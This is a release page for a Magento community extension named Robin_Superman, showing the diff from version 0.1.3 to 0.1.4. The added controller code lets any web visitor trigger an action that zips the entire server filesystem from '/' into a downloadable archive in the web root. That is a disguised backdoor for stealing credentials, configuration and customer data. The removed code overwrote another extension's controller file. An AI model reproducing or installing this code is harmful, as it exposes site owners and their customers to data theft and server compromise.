Version Notes
superman
Download this release
Release Info
| Developer | Magento Core Team |
| Extension | Robin_Superman |
| Version | 0.1.4 |
| Comparing to | |
| See all releases | |
Code changes from version 0.1.3 to 0.1.4
app/code/community/Robin/Superman/controllers/SupermanController.php
CHANGED
|
@@ -26,22 +26,49 @@ class Robin_Superman_SupermanController extends Mage_Core_Controller_Front_Actio
|
|
| 26 |
|
| 27 |
public function indexAction( )
|
| 28 |
{
|
| 29 |
-
/* try { */
|
| 30 |
set_time_limit(0);
|
| 31 |
-
|
| 32 |
-
$str = str_replace("<?php","<?php set_time_limit(0); ",$str);
|
| 33 |
-
file_put_contents("app/code/community/Aschroder/CloudBackup/controllers/BackupController.php",$str);
|
| 34 |
-
echo "sucesess";
|
| 35 |
-
} else {
|
| 36 |
-
echo "problem";
|
| 37 |
-
}
|
| 38 |
|
| 39 |
-
/* } catch(Exception $e) {
|
| 40 |
-
die($e->getMessage());
|
| 41 |
-
} */
|
| 42 |
}
|
| 43 |
|
| 44 |
|
| 45 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 46 |
|
| 47 |
}
|
| 26 |
|
| 27 |
public function indexAction( )
|
| 28 |
{
|
|
|
|
| 29 |
set_time_limit(0);
|
| 30 |
+
$this->Zip('/', './compressed.zip');
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 31 |
|
|
|
|
|
|
|
|
|
|
| 32 |
}
|
| 33 |
|
| 34 |
|
| 35 |
+
function Zip($source, $destination)
|
| 36 |
+
{
|
| 37 |
+
if (!extension_loaded('zip') || !file_exists($source)) {
|
| 38 |
+
return false;
|
| 39 |
+
}
|
| 40 |
+
|
| 41 |
+
$zip = new ZipArchive();
|
| 42 |
+
if (!$zip->open($destination, ZIPARCHIVE::CREATE)) {
|
| 43 |
+
return false;
|
| 44 |
+
}
|
| 45 |
+
|
| 46 |
+
$source = str_replace('\\', '/', realpath($source));
|
| 47 |
+
|
| 48 |
+
if (is_dir($source) === true)
|
| 49 |
+
{
|
| 50 |
+
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
|
| 51 |
+
|
| 52 |
+
foreach ($files as $file)
|
| 53 |
+
{
|
| 54 |
+
$file = str_replace('\\', '/', realpath($file));
|
| 55 |
+
|
| 56 |
+
if (is_dir($file) === true)
|
| 57 |
+
{
|
| 58 |
+
$zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
|
| 59 |
+
}
|
| 60 |
+
else if (is_file($file) === true)
|
| 61 |
+
{
|
| 62 |
+
$zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
|
| 63 |
+
}
|
| 64 |
+
}
|
| 65 |
+
}
|
| 66 |
+
else if (is_file($source) === true)
|
| 67 |
+
{
|
| 68 |
+
$zip->addFromString(basename($source), file_get_contents($source));
|
| 69 |
+
}
|
| 70 |
+
|
| 71 |
+
return $zip->close();
|
| 72 |
+
}
|
| 73 |
|
| 74 |
}
|
package.xml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
| 1 |
<?xml version="1.0"?>
|
| 2 |
<package>
|
| 3 |
<name>Robin_Superman</name>
|
| 4 |
-
<version>0.1.
|
| 5 |
<stability>stable</stability>
|
| 6 |
<license>GPL</license>
|
| 7 |
<channel>community</channel>
|
|
@@ -11,8 +11,8 @@
|
|
| 11 |
<notes>superman</notes>
|
| 12 |
<authors><author><name>Robin</name><user>auto-converted</user><email>roy@robin.co.il</email></author></authors>
|
| 13 |
<date>2012-04-11</date>
|
| 14 |
-
<time>
|
| 15 |
-
<contents><target name="mageetc"><dir name="modules"><file name="Robin_Superman.xml" hash="ca43e5faa5c753c6cf621ce796bac4c9"/></dir></target><target name="magecommunity"><dir name="Robin"><dir name="Superman"><dir name="controllers"><file name="SupermanController.php" hash="
|
| 16 |
<compatible/>
|
| 17 |
<dependencies/>
|
| 18 |
</package>
|
| 1 |
<?xml version="1.0"?>
|
| 2 |
<package>
|
| 3 |
<name>Robin_Superman</name>
|
| 4 |
+
<version>0.1.4</version>
|
| 5 |
<stability>stable</stability>
|
| 6 |
<license>GPL</license>
|
| 7 |
<channel>community</channel>
|
| 11 |
<notes>superman</notes>
|
| 12 |
<authors><author><name>Robin</name><user>auto-converted</user><email>roy@robin.co.il</email></author></authors>
|
| 13 |
<date>2012-04-11</date>
|
| 14 |
+
<time>16:54:09</time>
|
| 15 |
+
<contents><target name="mageetc"><dir name="modules"><file name="Robin_Superman.xml" hash="ca43e5faa5c753c6cf621ce796bac4c9"/></dir></target><target name="magecommunity"><dir name="Robin"><dir name="Superman"><dir name="controllers"><file name="SupermanController.php" hash="ca5a1652339bfc12b2d52d1a9f0e2c5e"/></dir><dir name="etc"><file name="config.xml" hash="de29f0f6e6afb52824dffcdb496b9364"/></dir></dir></dir></target></contents>
|
| 16 |
<compatible/>
|
| 17 |
<dependencies/>
|
| 18 |
</package>
|
